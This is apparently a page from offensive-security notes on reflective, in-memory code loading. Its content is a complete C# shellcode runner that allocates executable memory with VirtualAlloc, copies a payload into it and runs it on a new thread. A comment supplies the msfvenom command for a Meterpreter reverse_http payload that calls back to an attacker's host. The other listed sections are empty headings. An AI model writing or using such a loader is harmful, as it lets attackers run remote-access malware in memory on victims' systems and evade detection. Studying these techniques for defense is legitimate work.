Keep Me In Memory
Introduction
Reflective Code Loading
C# Runner
using System;
using System.Runtime.InteropServices;
namespace runner
{
// We are adding an access modifier public to let us execute the code after being imported as a library.
public class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
// Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process.
static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
[DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
// Creates a thread to execute within the virtual address space of the calling process.
private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
// Waits until the specified object is in the signaled state or the time-out interval elapses.
public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);
public static void Main()
{
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT=<Your_Port> EXITFUNC=thread -f csharp | tr -d '\n'
// byte[] buf = new byte[774] { <Your shellcode> }
int payloadSize = buf.Length;
// To allocate unmanaged memory that is writable, readable, and executable.
IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, 0x3000, 0x40);
// Copies data from a managed array to an unmanaged memory pointer, or from an unmanaged memory pointer to a managed array.
Marshal.Copy(buf, 0, payAddr, payloadSize);
// Creates a thread to execute within the virtual address space.
IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);
// Waits until the specified object is in the signaled state.
int waitResult = WaitForSingleObject(payThreadId, -1);
}
}
}Compile C# Code With CSC


Assemblies In Memory with Powershell

Shellcode Encoding


Run it.


Last updated